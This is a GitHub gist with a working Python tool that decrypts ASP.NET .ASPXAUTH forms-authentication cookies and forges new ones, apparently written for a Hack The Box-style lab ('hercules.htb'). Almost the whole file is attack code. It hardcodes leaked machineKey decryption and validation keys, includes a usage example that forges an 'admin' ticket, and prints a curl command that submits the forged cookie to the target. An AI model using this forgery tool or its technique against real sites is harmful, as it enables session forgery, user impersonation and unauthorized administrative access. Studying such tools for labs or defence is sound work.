Skip to content

Instantly share code, notes, and snippets.

@sofianeelhor
Created October 19, 2025 16:52
Show Gist options
  • Select an option

  • Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.

Select an option

Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.
Decrypts and parses .ASPXAUTH forms cookies, and forges new ones using machineKey from web.config. Supports "All" protection mode (AES-256-CBC encrypt + HMACSHA256 sign + binary serialization).
#!/usr/bin/env python3
"""
# Decrypt original cookie
python ticket_tool.py decrypt 0612BC595BE85DA14751A4494CDACC202C5D62E2F601C2B3096053B941D32B2141A53D7F4AE73004F48EB62FDD68CAEBE0E930D54935C1D23368347BE090DB64ACFFF63C108EE44B8B83D8C5045CF27F4DD48C3D7E54A05DBE1F8D914E7D283E54AAAE1323C92ACFEDBE21EF749A3119A02856A21309148EF3C33E6B2215C2DDC735A21E5B6BEFCC3846812BB7FCD3F8A424567F78A432D2299388F0979EC799
# Forge admin ticket
python formaspcookie.py forge admin --user-data "Admin" --persistent --expiry-min 1440
"""
import argparse
import binascii
import hmac
import hashlib
import struct
import sys
from datetime import datetime, timedelta
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import os
# Default keys from web.config
DEFAULT_DEC_KEY_HEX = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
DEFAULT_VAL_KEY_HEX = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80"
HEADER_SIZE = 32 # Purpose (20B) + salt (12B)
SIG_SIZE = 32 # HMACSHA256
IV = b'\x00' * 16
PURPOSE = b'FormsAuthentication\x00\x00\x00' # Fixed for FormsAuth
def ticks_to_datetime(ticks):
"""Convert .NET ticks (100ns since 0001-01-01) to datetime."""
epoch = datetime(1, 1, 1)
return epoch + timedelta(microseconds=ticks // 10)
def datetime_to_ticks(dt):
"""Convert datetime (UTC) to .NET ticks."""
epoch = datetime(1, 1, 1)
delta = dt - epoch
return int(delta.total_seconds() * 10000000)
def read_7bit_string(data, pos):
"""Read 7-bit encoded length + UTF-16LE string."""
if pos >= len(data):
return None, pos
length = 0
shift = 0
while True:
if pos >= len(data):
return None, pos
b = data[pos]
pos += 1
length |= (b & 0x7F) << shift
if (b & 0x80) == 0:
break
shift += 7
str_len = length * 2
if pos + str_len > len(data):
return None, pos
str_bytes = data[pos:pos + str_len]
s = ''.join(chr(b1 + (b2 << 8)) for b1, b2 in zip(str_bytes[0::2], str_bytes[1::2]))
pos += str_len
return s, pos
def write_7bit_string(s):
"""Write UTF-16LE string with 7-bit encoded length."""
utf16_bytes = s.encode('utf-16le')
length = len(utf16_bytes) // 2
encoded_len = bytearray()
temp = length
while True:
encoded_len.insert(0, temp & 0x7F)
if temp & 0x7F == temp:
break
encoded_len[0] |= 0x80
temp >>= 7
return bytes(encoded_len) + utf16_bytes
def decrypt_ticket(encrypted_hex, dec_key_hex, val_key_hex, verbose=False):
"""Decrypt and parse the ticket."""
try:
cookie_bytes = binascii.unhexlify(encrypted_hex)
dec_key = binascii.unhexlify(dec_key_hex)
val_key = binascii.unhexlify(val_key_hex)
if len(cookie_bytes) < SIG_SIZE:
raise ValueError("Ticket too short for signature.")
payload = cookie_bytes[:-SIG_SIZE]
signature = cookie_bytes[-SIG_SIZE:]
# Validate HMAC
h = hmac.new(val_key, payload, hashlib.sha256)
if h.digest() != signature:
raise ValueError("Invalid signature!")
if verbose:
print("Signature valid.")
# Decrypt AES-256-CBC
cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_padded = decryptor.update(payload) + decryptor.finalize()
# Unpad PKCS7
unpadder = padding.PKCS7(128).unpadder()
decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()
if verbose:
print(f"Raw decrypted (hex): {binascii.hexlify(decrypted).decode()}")
# Skip header
if len(decrypted) < HEADER_SIZE:
raise ValueError("Decrypted data too short for header.")
data = decrypted[HEADER_SIZE:]
# Parse binary
pos = 0
if pos >= len(data) or data[pos] != 1:
raise ValueError("Invalid format version (expected 0x01).")
pos += 1
ticket_version = data[pos]
pos += 1
if pos + 8 > len(data):
raise ValueError("Truncated: issue ticks.")
issue_ticks = struct.unpack('<Q', data[pos:pos+8])[0]
pos += 8
if pos >= len(data) or data[pos] != 0xFE:
raise ValueError("Invalid spacer (expected 0xFE).")
pos += 1
if pos + 8 > len(data):
raise ValueError("Truncated: expiration ticks.")
expiration_ticks = struct.unpack('<Q', data[pos:pos+8])[0]
pos += 8
if pos >= len(data):
raise ValueError("Truncated: persistent flag.")
is_persistent = bool(data[pos])
pos += 1
name, pos = read_7bit_string(data, pos)
if name is None:
raise ValueError("Failed to parse name.")
user_data, pos = read_7bit_string(data, pos)
if user_data is None:
raise ValueError("Failed to parse user data.")
cookie_path, pos = read_7bit_string(data, pos)
if cookie_path is None:
raise ValueError("Failed to parse cookie path.")
if pos >= len(data) or data[pos] != 0xFF:
raise ValueError("Invalid footer (expected 0xFF).")
pos += 1
if pos < len(data):
if verbose:
print(f"Trailing bytes (hex): {binascii.hexlify(data[pos:]).decode()}")
# Convert ticks
issue_date = ticks_to_datetime(issue_ticks)
expiration_date = ticks_to_datetime(expiration_ticks)
ticket = {
'version': ticket_version,
'name': name,
'issue_date': issue_date,
'expiration_date': expiration_date,
'is_persistent': is_persistent,
'user_data': user_data,
'cookie_path': cookie_path
}
if verbose:
print("\n--- Parsed Ticket ---")
for k, v in ticket.items():
print(f"{k}: {v}")
print("--- End Ticket ---")
return ticket
except Exception as e:
print(f"Decryption failed: {e}")
return None
def forge_ticket(username, user_data="Web Users", is_persistent=False, expiry_minutes=10, dec_key_hex=DEFAULT_DEC_KEY_HEX, val_key_hex=DEFAULT_VAL_KEY_HEX, fixed_header_hex=None, verbose=False):
"""Forge a new ticket."""
dec_key = binascii.unhexlify(dec_key_hex)
val_key = binascii.unhexlify(val_key_hex)
# Timestamps
now = datetime.utcnow()
issue_ticks = datetime_to_ticks(now)
exp_delta = timedelta(minutes=expiry_minutes)
expiration_ticks = datetime_to_ticks(now + exp_delta)
cookie_path = "/"
# Serialize
serialized = bytearray()
serialized.append(1) # Format version
serialized.append(1) # Ticket version
serialized += struct.pack('<Q', issue_ticks)
serialized.append(0xFE) # Spacer
serialized += struct.pack('<Q', expiration_ticks)
serialized.append(1 if is_persistent else 0)
serialized += write_7bit_string(username)
serialized += write_7bit_string(user_data)
serialized += write_7bit_string(cookie_path)
serialized.append(0xFF) # Footer
# Header
if fixed_header_hex:
header = binascii.unhexlify(fixed_header_hex)
if len(header) != HEADER_SIZE:
raise ValueError(f"Fixed header must be {HEADER_SIZE} bytes ({HEADER_SIZE*2} hex chars).")
else:
salt = os.urandom(12)
header = PURPOSE + salt
full_serialized = header + bytes(serialized)
if verbose:
print(f"Header (hex): {binascii.hexlify(header).decode()}")
print(f"Serialized payload (hex): {binascii.hexlify(bytes(serialized)).decode()}")
# Pad
padder = padding.PKCS7(128).padder()
padded = padder.update(full_serialized) + padder.finalize()
# Encrypt
cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend())
encryptor = cipher.encryptor()
encrypted = encryptor.update(padded) + encryptor.finalize()
# Sign
h = hmac.new(val_key, encrypted, hashlib.sha256)
signature = h.digest()
# Combine
ticket_bytes = encrypted + signature
ticket_hex = binascii.hexlify(ticket_bytes).decode().upper()
if verbose:
print(f"\nVerification: Decrypting forged ticket...")
forged_ticket = decrypt_ticket(ticket_hex, dec_key_hex, val_key_hex, verbose=False)
if forged_ticket:
print("Forge verified! Parsed back:", forged_ticket['name'], forged_ticket['user_data'])
else:
print("Forge verification failed!")
return ticket_hex
def main():
parser = argparse.ArgumentParser(description="ASP.NET Forms Auth Ticket Tool")
subparsers = parser.add_subparsers(dest='command', required=True)
# Decrypt parser
decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt and parse a ticket')
decrypt_parser.add_argument('encrypted_hex', help='Hex-encoded .ASPXAUTH cookie')
decrypt_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys')
decrypt_parser.add_argument('--verbose', action='store_true', help='Verbose output')
# Forge parser
forge_parser = subparsers.add_parser('forge', help='Forge a new ticket')
forge_parser.add_argument('username', help='Username for the ticket')
forge_parser.add_argument('--user-data', default='Web Users', help='User data/roles (default: Web Users)')
forge_parser.add_argument('--persistent', action='store_true', help='Make ticket persistent')
forge_parser.add_argument('--expiry-min', type=int, default=10, help='Expiry in minutes (default: 10)')
forge_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys')
forge_parser.add_argument('--fixed-header', help=f'Fixed 32-byte header hex (for replay; default: random salt)')
forge_parser.add_argument('--verbose', action='store_true', help='Verbose output')
args = parser.parse_args()
dec_key_hex = args.keys[0] if args.keys else DEFAULT_DEC_KEY_HEX
val_key_hex = args.keys[1] if args.keys else DEFAULT_VAL_KEY_HEX
if args.command == 'decrypt':
ticket = decrypt_ticket(args.encrypted_hex, dec_key_hex, val_key_hex, args.verbose)
if ticket:
print("\nTicket fields:")
for k, v in ticket.items():
print(f"{k}: {v}")
elif args.command == 'forge':
if args.fixed_header:
fixed_header_hex = args.fixed_header
else:
fixed_header_hex = None
ticket_hex = forge_ticket(
args.username, args.user_data, args.persistent, args.expiry_min,
dec_key_hex, val_key_hex, fixed_header_hex, args.verbose
)
print(f"\nForged .ASPXAUTH (hex): {ticket_hex}")
print(f"Cookie header: Cookie: .ASPXAUTH={ticket_hex}")
print("\nUsage example (curl):")
print(f"curl -H 'Cookie: .ASPXAUTH={ticket_hex}' https://hercules.htb/")
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment